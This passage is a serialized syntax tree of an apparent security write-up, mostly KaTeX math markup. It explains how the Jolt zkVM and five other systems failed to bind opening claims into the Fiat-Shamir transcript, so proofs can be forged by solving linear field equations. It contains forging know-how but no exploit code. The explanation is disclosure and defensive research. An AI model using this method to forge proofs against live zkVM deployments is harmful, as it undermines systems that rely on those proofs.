",{"type":23,"tag":37,"props":114695,"children":114697},{"className":114696},[3984,3985],[114698],{"type":23,"tag":41,"props":114699,"children":114701},{"className":114700},[3990],[114702],{"type":23,"tag":41,"props":114703,"children":114705},{"className":114704,"ariaHidden":3996},[3995],[114706],{"type":23,"tag":41,"props":114707,"children":114709},{"className":114708},[4001],[114710,114714],{"type":23,"tag":41,"props":114711,"children":114713},{"className":114712,"style":21569},[4006],[],{"type":23,"tag":41,"props":114715,"children":114717},{"className":114716,"style":107963},[4012,21574],[114718],{"type":28,"value":108287},{"type":28,"value":2678},{"type":23,"tag":421,"props":114721,"children":114722},{},[114723,114725],{"type":28,"value":114724},"The verification equation has form: ",{"type":23,"tag":37,"props":114726,"children":114728},{"className":114727},[3984,3985],[114729],{"type":23,"tag":41,"props":114730,"children":114732},{"className":114731},[3990],[114733],{"type":23,"tag":41,"props":114734,"children":114736},{"className":114735,"ariaHidden":3996},[3995],[114737,114778],{"type":23,"tag":41,"props":114738,"children":114740},{"className":114739},[4001],[114741,114745,114750,114755,114760,114765,114769,114774],{"type":23,"tag":41,"props":114742,"children":114744},{"className":114743,"style":4113},[4006],[],{"type":23,"tag":41,"props":114746,"children":114748},{"className":114747,"style":95119},[4012,21574],[114749],{"type":28,"value":33078},{"type":23,"tag":41,"props":114751,"children":114753},{"className":114752},[21703],[114754],{"type":28,"value":1737},{"type":23,"tag":41,"props":114756,"children":114758},{"className":114757,"style":107963},[4012,21574],[114759],{"type":28,"value":108287},{"type":23,"tag":41,"props":114761,"children":114763},{"className":114762},[21725],[114764],{"type":28,"value":2678},{"type":23,"tag":41,"props":114766,"children":114768},{"className":114767,"style":4190},[4092],[],{"type":23,"tag":41,"props":114770,"children":114772},{"className":114771},[4195],[114773],{"type":28,"value":2381},{"type":23,"tag":41,"props":114775,"children":114777},{"className":114776,"style":4190},[4092],[],{"type":23,"tag":41,"props":114779,"children":114781},{"className":114780},[4001],[114782,114787],{"type":23,"tag":41,"props":114783,"children":114786},{"className":114784,"style":114785},[4006],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":23,"tag":41,"props":114788,"children":114790},{"className":114789},[4012,28],[114791],{"type":23,"tag":41,"props":114792,"children":114794},{"className":114793},[4012],[114795],{"type":28,"value":114796},"target",{"type":23,"tag":421,"props":114798,"children":114799},{},[114800,114801,114827,114829],{"type":28,"value":7479},{"type":23,"tag":37,"props":114802,"children":114804},{"className":114803},[3984,3985],[114805],{"type":23,"tag":41,"props":114806,"children":114808},{"className":114807},[3990],[114809],{"type":23,"tag":41,"props":114810,"children":114812},{"className":114811,"ariaHidden":3996},[3995],[114813],{"type":23,"tag":41,"props":114814,"children":114816},{"className":114815},[4001],[114817,114822],{"type":23,"tag":41,"props":114818,"children":114821},{"className":114819,"style":114820},[4006],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":23,"tag":41,"props":114823,"children":114825},{"className":114824,"style":95119},[4012,21574],[114826],{"type":28,"value":33078},{"type":28,"value":114828}," is linear: ",{"type":23,"tag":37,"props":114830,"children":114832},{"className":114831},[3984,3985],[114833],{"type":23,"tag":41,"props":114834,"children":114836},{"className":114835},[3990],[114837],{"type":23,"tag":41,"props":114838,"children":114840},{"className":114839,"ariaHidden":3996},[3995],[114841,114870,114897,114925],{"type":23,"tag":41,"props":114842,"children":114844},{"className":114843},[4001],[114845,114850,114857,114861,114866],{"type":23,"tag":41,"props":114846,"children":114849},{"className":114847,"style":114848},[4006],"height:0.4445em;",[],{"type":23,"tag":41,"props":114851,"children":114854},{"className":114852,"style":114853},[4012,21574],"margin-right:0.0037em;",[114855],{"type":28,"value":114856},"α",{"type":23,"tag":41,"props":114858,"children":114860},{"className":114859,"style":4093},[4092],[],{"type":23,"tag":41,"props":114862,"children":114864},{"className":114863},[4098],[114865],{"type":28,"value":111027},{"type":23,"tag":41,"props":114867,"children":114869},{"className":114868,"style":4093},[4092],[],{"type":23,"tag":41,"props":114871,"children":114873},{"className":114872},[4001],[114874,114879,114884,114888,114893],{"type":23,"tag":41,"props":114875,"children":114878},{"className":114876,"style":114877},[4006],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":23,"tag":41,"props":114880,"children":114882},{"className":114881,"style":107963},[4012,21574],[114883],{"type":28,"value":108287},{"type":23,"tag":41,"props":114885,"children":114887},{"className":114886,"style":4093},[4092],[],{"type":23,"tag":41,"props":114889,"children":114891},{"className":114890},[4098],[114892],{"type":28,"value":4383},{"type":23,"tag":41,"props":114894,"children":114896},{"className":114895,"style":4093},[4092],[],{"type":23,"tag":41,"props":114898,"children":114900},{"className":114899},[4001],[114901,114905,114912,114916,114921],{"type":23,"tag":41,"props":114902,"children":114904},{"className":114903,"style":114820},[4006],[],{"type":23,"tag":41,"props":114906,"children":114909},{"className":114907,"style":114908},[4012,21574],"margin-right:0.05278em;",[114910],{"type":28,"value":114911},"β",{"type":23,"tag":41,"props":114913,"children":114915},{"className":114914,"style":4190},[4092],[],{"type":23,"tag":41,"props":114917,"children":114919},{"className":114918},[4195],[114920],{"type":28,"value":2381},{"type":23,"tag":41,"props":114922,"children":114924},{"className":114923,"style":4190},[4092],[],{"type":23,"tag":41,"props":114926,"children":114928},{"className":114927},[4001],[114929,114933],{"type":23,"tag":41,"props":114930,"children":114932},{"className":114931,"style":114785},[4006],[],{"type":23,"tag":41,"props":114934,"children":114936},{"className":114935},[4012,28],[114937],{"type":23,"tag":41,"props":114938,"children":114940},{"className":114939},[4012],[114941],{"type":28,"value":114796},{"type":23,"tag":421,"props":114943,"children":114944},{},[114945,114947],{"type":28,"value":114946},"Solve: ",{"type":23,"tag":37,"props":114948,"children":114950},{"className":114949},[3984,3985],[114951],{"type":23,"tag":41,"props":114952,"children":114954},{"className":114953},[3990],[114955],{"type":23,"tag":41,"props":114956,"children":114958},{"className":114957,"ariaHidden":3996},[3995],[114959,114985,115020],{"type":23,"tag":41,"props":114960,"children":114962},{"className":114961},[4001],[114963,114967,114972,114976,114981],{"type":23,"tag":41,"props":114964,"children":114966},{"className":114965,"style":21569},[4006],[],{"type":23,"tag":41,"props":114968,"children":114970},{"className":114969,"style":107963},[4012,21574],[114971],{"type":28,"value":108287},{"type":23,"tag":41,"props":114973,"children":114975},{"className":114974,"style":4190},[4092],[],{"type":23,"tag":41,"props":114977,"children":114979},{"className":114978},[4195],[114980],{"type":28,"value":2381},{"type":23,"tag":41,"props":114982,"children":114984},{"className":114983,"style":4190},[4092],[],{"type":23,"tag":41,"props":114986,"children":114988},{"className":114987},[4001],[114989,114993,114998,115007,115011,115016],{"type":23,"tag":41,"props":114990,"children":114992},{"className":114991,"style":4113},[4006],[],{"type":23,"tag":41,"props":114994,"children":114996},{"className":114995},[21703],[114997],{"type":28,"value":1737},{"type":23,"tag":41,"props":114999,"children":115001},{"className":115000},[4012,28],[115002],{"type":23,"tag":41,"props":115003,"children":115005},{"className":115004},[4012],[115006],{"type":28,"value":114796},{"type":23,"tag":41,"props":115008,"children":115010},{"className":115009,"style":4093},[4092],[],{"type":23,"tag":41,"props":115012,"children":115014},{"className":115013},[4098],[115015],{"type":28,"value":4072},{"type":23,"tag":41,"props":115017,"children":115019},{"className":115018,"style":4093},[4092],[],{"type":23,"tag":41,"props":115021,"children":115023},{"className":115022},[4001],[115024,115028,115033,115038,115043],{"type":23,"tag":41,"props":115025,"children":115027},{"className":115026,"style":4113},[4006],[],{"type":23,"tag":41,"props":115029,"children":115031},{"className":115030,"style":114908},[4012,21574],[115032],{"type":28,"value":114911},{"type":23,"tag":41,"props":115034,"children":115036},{"className":115035},[21725],[115037],{"type":28,"value":2678},{"type":23,"tag":41,"props":115039,"children":115041},{"className":115040},[4012],[115042],{"type":28,"value":4579},{"type":23,"tag":41,"props":115044,"children":115046},{"className":115045,"style":114853},[4012,21574],[115047],{"type":28,"value":114856},{"type":23,"tag":24,"props":115049,"children":115050},{},[115051],{"type":28,"value":115052},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":23,"tag":24,"props":115054,"children":115055},{},[115056,115058,115136],{"type":28,"value":115057},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":23,"tag":37,"props":115059,"children":115061},{"className":115060},[3984,3985],[115062],{"type":23,"tag":41,"props":115063,"children":115065},{"className":115064},[3990],[115066],{"type":23,"tag":41,"props":115067,"children":115069},{"className":115068,"ariaHidden":3996},[3995],[115070],{"type":23,"tag":41,"props":115071,"children":115073},{"className":115072},[4001],[115074,115079,115085,115090,115131],{"type":23,"tag":41,"props":115075,"children":115078},{"className":115076,"style":115077},[4006],"height:1.0641em;vertical-align:-0.25em;",[],{"type":23,"tag":41,"props":115080,"children":115082},{"className":115081,"style":92765},[4012,21574],[115083],{"type":28,"value":115084},"O",{"type":23,"tag":41,"props":115086,"children":115088},{"className":115087},[21703],[115089],{"type":28,"value":1737},{"type":23,"tag":41,"props":115091,"children":115093},{"className":115092},[4012],[115094,115099],{"type":23,"tag":41,"props":115095,"children":115097},{"className":115096},[4012,21574],[115098],{"type":28,"value":56399},{"type":23,"tag":41,"props":115100,"children":115102},{"className":115101},[4028],[115103],{"type":23,"tag":41,"props":115104,"children":115106},{"className":115105},[4033],[115107],{"type":23,"tag":41,"props":115108,"children":115110},{"className":115109},[4038],[115111],{"type":23,"tag":41,"props":115112,"children":115114},{"className":115113,"style":4007},[4043],[115115],{"type":23,"tag":41,"props":115116,"children":115117},{"style":4047},[115118,115122],{"type":23,"tag":41,"props":115119,"children":115121},{"className":115120,"style":4053},[4052],[],{"type":23,"tag":41,"props":115123,"children":115125},{"className":115124},[4058,4059,4060,4061],[115126],{"type":23,"tag":41,"props":115127,"children":115129},{"className":115128},[4012,4061],[115130],{"type":28,"value":17282},{"type":23,"tag":41,"props":115132,"children":115134},{"className":115133},[21725],[115135],{"type":28,"value":2678},{"type":28,"value":115137}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":23,"tag":442,"props":115139,"children":115140},{},[],{"type":23,"tag":446,"props":115142,"children":115144},{"id":115143},"the-six-broken-systems",[115145],{"type":28,"value":115146},"The Six Broken Systems",{"type":23,"tag":24,"props":115148,"children":115149},{},[115150],{"type":23,"tag":3918,"props":115151,"children":115154},{"alt":115152,"src":115153},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":23,"tag":24,"props":115156,"children":115157},{},[115158],{"type":28,"value":115159},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":23,"tag":442,"props":115161,"children":115162},{},[],{"type":23,"tag":546,"props":115164,"children":115166},{"id":115165},"jolt-a16z",[115167],{"type":28,"value":115168},"Jolt (a16z)",{"type":23,"tag":24,"props":115170,"children":115171},{},[115172],{"type":28,"value":115173},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":23,"tag":24,"props":115175,"children":115176},{},[115177],{"type":23,"tag":510,"props":115178,"children":115179},{},[115180],{"type":28,"value":115181},"The proof structure:",{"type":23,"tag":31,"props":115183,"children":115185},{"code":115184},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[115186],{"type":23,"tag":37,"props":115187,"children":115188},{"__ignoreMap":7},[115189],{"type":28,"value":115184},{"type":23,"tag":24,"props":115191,"children":115192},{},[115193],{"type":23,"tag":510,"props":115194,"children":115195},{},[115196],{"type":28,"value":115197},"The verification flow:",{"type":23,"tag":24,"props":115199,"children":115200},{},[115201],{"type":23,"tag":3918,"props":115202,"children":115205},{"alt":115203,"src":115204},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":23,"tag":24,"props":115207,"children":115208},{},[115209,115214,115216,115222,115224,115230,115232,115237],{"type":23,"tag":510,"props":115210,"children":115211},{},[115212],{"type":28,"value":115213},"The bug:",{"type":28,"value":115215}," Each sumcheck instance provides an ",{"type":23,"tag":37,"props":115217,"children":115219},{"className":115218},[],[115220],{"type":28,"value":115221},"input_claim",{"type":28,"value":115223},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":23,"tag":37,"props":115225,"children":115227},{"className":115226},[],[115228],{"type":28,"value":115229},"opening_claims",{"type":28,"value":115231}," in the proof, but they were ",{"type":23,"tag":510,"props":115233,"children":115234},{},[115235],{"type":28,"value":115236},"never absorbed into the transcript",{"type":28,"value":115238}," before the batching coefficients were derived.",{"type":23,"tag":24,"props":115240,"children":115241},{},[115242],{"type":23,"tag":3918,"props":115243,"children":115246},{"alt":115244,"src":115245},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":23,"tag":24,"props":115248,"children":115249},{},[115250],{"type":23,"tag":510,"props":115251,"children":115252},{},[115253],{"type":28,"value":115254},"How sumcheck uses opening_claims:",{"type":23,"tag":24,"props":115256,"children":115257},{},[115258,115260,115266,115268,115345],{"type":28,"value":115259},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":23,"tag":37,"props":115261,"children":115263},{"className":115262},[],[115264],{"type":28,"value":115265},"BatchedClaim",{"type":28,"value":115267}," by taking a random linear combination of the individual claims ",{"type":23,"tag":37,"props":115269,"children":115271},{"className":115270},[3984,3985],[115272],{"type":23,"tag":41,"props":115273,"children":115275},{"className":115274},[3990],[115276],{"type":23,"tag":41,"props":115277,"children":115279},{"className":115278,"ariaHidden":3996},[3995],[115280],{"type":23,"tag":41,"props":115281,"children":115283},{"className":115282},[4001],[115284,115288],{"type":23,"tag":41,"props":115285,"children":115287},{"className":115286,"style":110762},[4006],[],{"type":23,"tag":41,"props":115289,"children":115291},{"className":115290},[4012],[115292,115297],{"type":23,"tag":41,"props":115293,"children":115295},{"className":115294,"style":92999},[4012,21574],[115296],{"type":28,"value":93002},{"type":23,"tag":41,"props":115298,"children":115300},{"className":115299},[4028],[115301],{"type":23,"tag":41,"props":115302,"children":115304},{"className":115303},[4033,21628],[115305,115334],{"type":23,"tag":41,"props":115306,"children":115308},{"className":115307},[4038],[115309,115329],{"type":23,"tag":41,"props":115310,"children":115312},{"className":115311,"style":93294},[4043],[115313],{"type":23,"tag":41,"props":115314,"children":115315},{"style":110194},[115316,115320],{"type":23,"tag":41,"props":115317,"children":115319},{"className":115318,"style":4053},[4052],[],{"type":23,"tag":41,"props":115321,"children":115323},{"className":115322},[4058,4059,4060,4061],[115324],{"type":23,"tag":41,"props":115325,"children":115327},{"className":115326},[4012,21574,4061],[115328],{"type":28,"value":3737},{"type":23,"tag":41,"props":115330,"children":115332},{"className":115331},[21731],[115333],{"type":28,"value":21734},{"type":23,"tag":41,"props":115335,"children":115337},{"className":115336},[4038],[115338],{"type":23,"tag":41,"props":115339,"children":115341},{"className":115340,"style":92848},[4043],[115342],{"type":23,"tag":41,"props":115343,"children":115344},{},[],{"type":28,"value":1474},{"type":23,"tag":24,"props":115347,"children":115348},{},[115349],{"type":23,"tag":37,"props":115350,"children":115352},{"className":115351},[3984,3985],[115353],{"type":23,"tag":41,"props":115354,"children":115356},{"className":115355},[3990],[115357],{"type":23,"tag":41,"props":115358,"children":115360},{"className":115359,"ariaHidden":3996},[3995],[115361,115391,115532],{"type":23,"tag":41,"props":115362,"children":115364},{"className":115363},[4001],[115365,115369,115378,115382,115387],{"type":23,"tag":41,"props":115366,"children":115368},{"className":115367,"style":92680},[4006],[],{"type":23,"tag":41,"props":115370,"children":115372},{"className":115371},[4012,28],[115373],{"type":23,"tag":41,"props":115374,"children":115376},{"className":115375},[4012],[115377],{"type":28,"value":115265},{"type":23,"tag":41,"props":115379,"children":115381},{"className":115380,"style":4190},[4092],[],{"type":23,"tag":41,"props":115383,"children":115385},{"className":115384},[4195],[115386],{"type":28,"value":2381},{"type":23,"tag":41,"props":115388,"children":115390},{"className":115389,"style":4190},[4092],[],{"type":23,"tag":41,"props":115392,"children":115394},{"className":115393},[4001],[115395,115400,115457,115461,115519,115523,115528],{"type":23,"tag":41,"props":115396,"children":115399},{"className":115397,"style":115398},[4006],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":23,"tag":41,"props":115401,"children":115403},{"className":115402},[21610],[115404,115409],{"type":23,"tag":41,"props":115405,"children":115407},{"className":115406,"style":21617},[21610,21615,21616],[115408],{"type":28,"value":108560},{"type":23,"tag":41,"props":115410,"children":115412},{"className":115411},[4028],[115413],{"type":23,"tag":41,"props":115414,"children":115416},{"className":115415},[4033,21628],[115417,115446],{"type":23,"tag":41,"props":115418,"children":115420},{"className":115419},[4038],[115421,115441],{"type":23,"tag":41,"props":115422,"children":115424},{"className":115423,"style":113972},[4043],[115425],{"type":23,"tag":41,"props":115426,"children":115427},{"style":21641},[115428,115432],{"type":23,"tag":41,"props":115429,"children":115431},{"className":115430,"style":4053},[4052],[],{"type":23,"tag":41,"props":115433,"children":115435},{"className":115434},[4058,4059,4060,4061],[115436],{"type":23,"tag":41,"props":115437,"children":115439},{"className":115438},[4012,21574,4061],[115440],{"type":28,"value":3737},{"type":23,"tag":41,"props":115442,"children":115444},{"className":115443},[21731],[115445],{"type":28,"value":21734},{"type":23,"tag":41,"props":115447,"children":115449},{"className":115448},[4038],[115450],{"type":23,"tag":41,"props":115451,"children":115453},{"className":115452,"style":114252},[4043],[115454],{"type":23,"tag":41,"props":115455,"children":115456},{},[],{"type":23,"tag":41,"props":115458,"children":115460},{"className":115459,"style":4131},[4092],[],{"type":23,"tag":41,"props":115462,"children":115464},{"className":115463},[4012],[115465,115470],{"type":23,"tag":41,"props":115466,"children":115468},{"className":115467,"style":114853},[4012,21574],[115469],{"type":28,"value":114856},{"type":23,"tag":41,"props":115471,"children":115473},{"className":115472},[4028],[115474],{"type":23,"tag":41,"props":115475,"children":115477},{"className":115476},[4033,21628],[115478,115508],{"type":23,"tag":41,"props":115479,"children":115481},{"className":115480},[4038],[115482,115503],{"type":23,"tag":41,"props":115483,"children":115485},{"className":115484,"style":93294},[4043],[115486],{"type":23,"tag":41,"props":115487,"children":115489},{"style":115488},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[115490,115494],{"type":23,"tag":41,"props":115491,"children":115493},{"className":115492,"style":4053},[4052],[],{"type":23,"tag":41,"props":115495,"children":115497},{"className":115496},[4058,4059,4060,4061],[115498],{"type":23,"tag":41,"props":115499,"children":115501},{"className":115500},[4012,21574,4061],[115502],{"type":28,"value":3737},{"type":23,"tag":41,"props":115504,"children":115506},{"className":115505},[21731],[115507],{"type":28,"value":21734},{"type":23,"tag":41,"props":115509,"children":115511},{"className":115510},[4038],[115512],{"type":23,"tag":41,"props":115513,"children":115515},{"className":115514,"style":92848},[4043],[115516],{"type":23,"tag":41,"props":115517,"children":115518},{},[],{"type":23,"tag":41,"props":115520,"children":115522},{"className":115521,"style":4093},[4092],[],{"type":23,"tag":41,"props":115524,"children":115526},{"className":115525},[4098],[115527],{"type":28,"value":111027},{"type":23,"tag":41,"props":115529,"children":115531},{"className":115530,"style":4093},[4092],[],{"type":23,"tag":41,"props":115533,"children":115535},{"className":115534},[4001],[115536,115540],{"type":23,"tag":41,"props":115537,"children":115539},{"className":115538,"style":110762},[4006],[],{"type":23,"tag":41,"props":115541,"children":115543},{"className":115542},[4012],[115544,115549],{"type":23,"tag":41,"props":115545,"children":115547},{"className":115546,"style":92999},[4012,21574],[115548],{"type":28,"value":93002},{"type":23,"tag":41,"props":115550,"children":115552},{"className":115551},[4028],[115553],{"type":23,"tag":41,"props":115554,"children":115556},{"className":115555},[4033,21628],[115557,115586],{"type":23,"tag":41,"props":115558,"children":115560},{"className":115559},[4038],[115561,115581],{"type":23,"tag":41,"props":115562,"children":115564},{"className":115563,"style":93294},[4043],[115565],{"type":23,"tag":41,"props":115566,"children":115567},{"style":110194},[115568,115572],{"type":23,"tag":41,"props":115569,"children":115571},{"className":115570,"style":4053},[4052],[],{"type":23,"tag":41,"props":115573,"children":115575},{"className":115574},[4058,4059,4060,4061],[115576],{"type":23,"tag":41,"props":115577,"children":115579},{"className":115578},[4012,21574,4061],[115580],{"type":28,"value":3737},{"type":23,"tag":41,"props":115582,"children":115584},{"className":115583},[21731],[115585],{"type":28,"value":21734},{"type":23,"tag":41,"props":115587,"children":115589},{"className":115588},[4038],[115590],{"type":23,"tag":41,"props":115591,"children":115593},{"className":115592,"style":92848},[4043],[115594],{"type":23,"tag":41,"props":115595,"children":115596},{},[],{"type":23,"tag":24,"props":115598,"children":115599},{},[115600,115602,115679,115681,115686,115688,115765,115767,115844,115846,115923],{"type":28,"value":115601},"where ",{"type":23,"tag":37,"props":115603,"children":115605},{"className":115604},[3984,3985],[115606],{"type":23,"tag":41,"props":115607,"children":115609},{"className":115608},[3990],[115610],{"type":23,"tag":41,"props":115611,"children":115613},{"className":115612,"ariaHidden":3996},[3995],[115614],{"type":23,"tag":41,"props":115615,"children":115617},{"className":115616},[4001],[115618,115622],{"type":23,"tag":41,"props":115619,"children":115621},{"className":115620,"style":109735},[4006],[],{"type":23,"tag":41,"props":115623,"children":115625},{"className":115624},[4012],[115626,115631],{"type":23,"tag":41,"props":115627,"children":115629},{"className":115628,"style":114853},[4012,21574],[115630],{"type":28,"value":114856},{"type":23,"tag":41,"props":115632,"children":115634},{"className":115633},[4028],[115635],{"type":23,"tag":41,"props":115636,"children":115638},{"className":115637},[4033,21628],[115639,115668],{"type":23,"tag":41,"props":115640,"children":115642},{"className":115641},[4038],[115643,115663],{"type":23,"tag":41,"props":115644,"children":115646},{"className":115645,"style":93294},[4043],[115647],{"type":23,"tag":41,"props":115648,"children":115649},{"style":115488},[115650,115654],{"type":23,"tag":41,"props":115651,"children":115653},{"className":115652,"style":4053},[4052],[],{"type":23,"tag":41,"props":115655,"children":115657},{"className":115656},[4058,4059,4060,4061],[115658],{"type":23,"tag":41,"props":115659,"children":115661},{"className":115660},[4012,21574,4061],[115662],{"type":28,"value":3737},{"type":23,"tag":41,"props":115664,"children":115666},{"className":115665},[21731],[115667],{"type":28,"value":21734},{"type":23,"tag":41,"props":115669,"children":115671},{"className":115670},[4038],[115672],{"type":23,"tag":41,"props":115673,"children":115675},{"className":115674,"style":92848},[4043],[115676],{"type":23,"tag":41,"props":115677,"children":115678},{},[],{"type":28,"value":115680}," are random coefficients derived from the transcript. Since ",{"type":23,"tag":37,"props":115682,"children":115684},{"className":115683},[],[115685],{"type":28,"value":115229},{"type":28,"value":115687}," (containing ",{"type":23,"tag":37,"props":115689,"children":115691},{"className":115690},[3984,3985],[115692],{"type":23,"tag":41,"props":115693,"children":115695},{"className":115694},[3990],[115696],{"type":23,"tag":41,"props":115697,"children":115699},{"className":115698,"ariaHidden":3996},[3995],[115700],{"type":23,"tag":41,"props":115701,"children":115703},{"className":115702},[4001],[115704,115708],{"type":23,"tag":41,"props":115705,"children":115707},{"className":115706,"style":110762},[4006],[],{"type":23,"tag":41,"props":115709,"children":115711},{"className":115710},[4012],[115712,115717],{"type":23,"tag":41,"props":115713,"children":115715},{"className":115714,"style":92999},[4012,21574],[115716],{"type":28,"value":93002},{"type":23,"tag":41,"props":115718,"children":115720},{"className":115719},[4028],[115721],{"type":23,"tag":41,"props":115722,"children":115724},{"className":115723},[4033,21628],[115725,115754],{"type":23,"tag":41,"props":115726,"children":115728},{"className":115727},[4038],[115729,115749],{"type":23,"tag":41,"props":115730,"children":115732},{"className":115731,"style":93294},[4043],[115733],{"type":23,"tag":41,"props":115734,"children":115735},{"style":110194},[115736,115740],{"type":23,"tag":41,"props":115737,"children":115739},{"className":115738,"style":4053},[4052],[],{"type":23,"tag":41,"props":115741,"children":115743},{"className":115742},[4058,4059,4060,4061],[115744],{"type":23,"tag":41,"props":115745,"children":115747},{"className":115746},[4012,21574,4061],[115748],{"type":28,"value":3737},{"type":23,"tag":41,"props":115750,"children":115752},{"className":115751},[21731],[115753],{"type":28,"value":21734},{"type":23,"tag":41,"props":115755,"children":115757},{"className":115756},[4038],[115758],{"type":23,"tag":41,"props":115759,"children":115761},{"className":115760,"style":92848},[4043],[115762],{"type":23,"tag":41,"props":115763,"children":115764},{},[],{"type":28,"value":115766},") were not in the transcript, the ",{"type":23,"tag":37,"props":115768,"children":115770},{"className":115769},[3984,3985],[115771],{"type":23,"tag":41,"props":115772,"children":115774},{"className":115773},[3990],[115775],{"type":23,"tag":41,"props":115776,"children":115778},{"className":115777,"ariaHidden":3996},[3995],[115779],{"type":23,"tag":41,"props":115780,"children":115782},{"className":115781},[4001],[115783,115787],{"type":23,"tag":41,"props":115784,"children":115786},{"className":115785,"style":109735},[4006],[],{"type":23,"tag":41,"props":115788,"children":115790},{"className":115789},[4012],[115791,115796],{"type":23,"tag":41,"props":115792,"children":115794},{"className":115793,"style":114853},[4012,21574],[115795],{"type":28,"value":114856},{"type":23,"tag":41,"props":115797,"children":115799},{"className":115798},[4028],[115800],{"type":23,"tag":41,"props":115801,"children":115803},{"className":115802},[4033,21628],[115804,115833],{"type":23,"tag":41,"props":115805,"children":115807},{"className":115806},[4038],[115808,115828],{"type":23,"tag":41,"props":115809,"children":115811},{"className":115810,"style":93294},[4043],[115812],{"type":23,"tag":41,"props":115813,"children":115814},{"style":115488},[115815,115819],{"type":23,"tag":41,"props":115816,"children":115818},{"className":115817,"style":4053},[4052],[],{"type":23,"tag":41,"props":115820,"children":115822},{"className":115821},[4058,4059,4060,4061],[115823],{"type":23,"tag":41,"props":115824,"children":115826},{"className":115825},[4012,21574,4061],[115827],{"type":28,"value":3737},{"type":23,"tag":41,"props":115829,"children":115831},{"className":115830},[21731],[115832],{"type":28,"value":21734},{"type":23,"tag":41,"props":115834,"children":115836},{"className":115835},[4038],[115837],{"type":23,"tag":41,"props":115838,"children":115840},{"className":115839,"style":92848},[4043],[115841],{"type":23,"tag":41,"props":115842,"children":115843},{},[],{"type":28,"value":115845}," values are independent of ",{"type":23,"tag":37,"props":115847,"children":115849},{"className":115848},[3984,3985],[115850],{"type":23,"tag":41,"props":115851,"children":115853},{"className":115852},[3990],[115854],{"type":23,"tag":41,"props":115855,"children":115857},{"className":115856,"ariaHidden":3996},[3995],[115858],{"type":23,"tag":41,"props":115859,"children":115861},{"className":115860},[4001],[115862,115866],{"type":23,"tag":41,"props":115863,"children":115865},{"className":115864,"style":110762},[4006],[],{"type":23,"tag":41,"props":115867,"children":115869},{"className":115868},[4012],[115870,115875],{"type":23,"tag":41,"props":115871,"children":115873},{"className":115872,"style":92999},[4012,21574],[115874],{"type":28,"value":93002},{"type":23,"tag":41,"props":115876,"children":115878},{"className":115877},[4028],[115879],{"type":23,"tag":41,"props":115880,"children":115882},{"className":115881},[4033,21628],[115883,115912],{"type":23,"tag":41,"props":115884,"children":115886},{"className":115885},[4038],[115887,115907],{"type":23,"tag":41,"props":115888,"children":115890},{"className":115889,"style":93294},[4043],[115891],{"type":23,"tag":41,"props":115892,"children":115893},{"style":110194},[115894,115898],{"type":23,"tag":41,"props":115895,"children":115897},{"className":115896,"style":4053},[4052],[],{"type":23,"tag":41,"props":115899,"children":115901},{"className":115900},[4058,4059,4060,4061],[115902],{"type":23,"tag":41,"props":115903,"children":115905},{"className":115904},[4012,21574,4061],[115906],{"type":28,"value":3737},{"type":23,"tag":41,"props":115908,"children":115910},{"className":115909},[21731],[115911],{"type":28,"value":21734},{"type":23,"tag":41,"props":115913,"children":115915},{"className":115914},[4038],[115916],{"type":23,"tag":41,"props":115917,"children":115919},{"className":115918,"style":92848},[4043],[115920],{"type":23,"tag":41,"props":115921,"children":115922},{},[],{"type":28,"value":706},{"type":23,"tag":24,"props":115925,"children":115926},{},[115927],{"type":23,"tag":510,"props":115928,"children":115929},{},[115930],{"type":28,"value":115931},"Why it's linear:",{"type":23,"tag":24,"props":115933,"children":115934},{},[115935,115937],{"type":28,"value":115936},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":23,"tag":37,"props":115938,"children":115940},{"className":115939},[3984,3985],[115941],{"type":23,"tag":41,"props":115942,"children":115944},{"className":115943},[3990],[115945],{"type":23,"tag":41,"props":115946,"children":115948},{"className":115947,"ariaHidden":3996},[3995],[115949],{"type":23,"tag":41,"props":115950,"children":115952},{"className":115951},[4001],[115953,115957],{"type":23,"tag":41,"props":115954,"children":115956},{"className":115955,"style":21569},[4006],[],{"type":23,"tag":41,"props":115958,"children":115960},{"className":115959,"style":92999},[4012,21574],[115961],{"type":28,"value":93002},{"type":23,"tag":24,"props":115963,"children":115964},{},[115965],{"type":23,"tag":37,"props":115966,"children":115968},{"className":115967},[3984,3985],[115969],{"type":23,"tag":41,"props":115970,"children":115972},{"className":115971},[3990],[115973],{"type":23,"tag":41,"props":115974,"children":115976},{"className":115975,"ariaHidden":3996},[3995],[115977,116067,116093,116119],{"type":23,"tag":41,"props":115978,"children":115980},{"className":115979},[4001],[115981,115985,116054,116058,116063],{"type":23,"tag":41,"props":115982,"children":115984},{"className":115983,"style":110762},[4006],[],{"type":23,"tag":41,"props":115986,"children":115988},{"className":115987},[4012],[115989,115995],{"type":23,"tag":41,"props":115990,"children":115992},{"className":115991,"style":22106},[4012,21574],[115993],{"type":28,"value":115994},"C",{"type":23,"tag":41,"props":115996,"children":115998},{"className":115997},[4028],[115999],{"type":23,"tag":41,"props":116000,"children":116002},{"className":116001},[4033,21628],[116003,116043],{"type":23,"tag":41,"props":116004,"children":116006},{"className":116005},[4038],[116007,116038],{"type":23,"tag":41,"props":116008,"children":116011},{"className":116009,"style":116010},[4043],"height:0.3361em;",[116012],{"type":23,"tag":41,"props":116013,"children":116015},{"s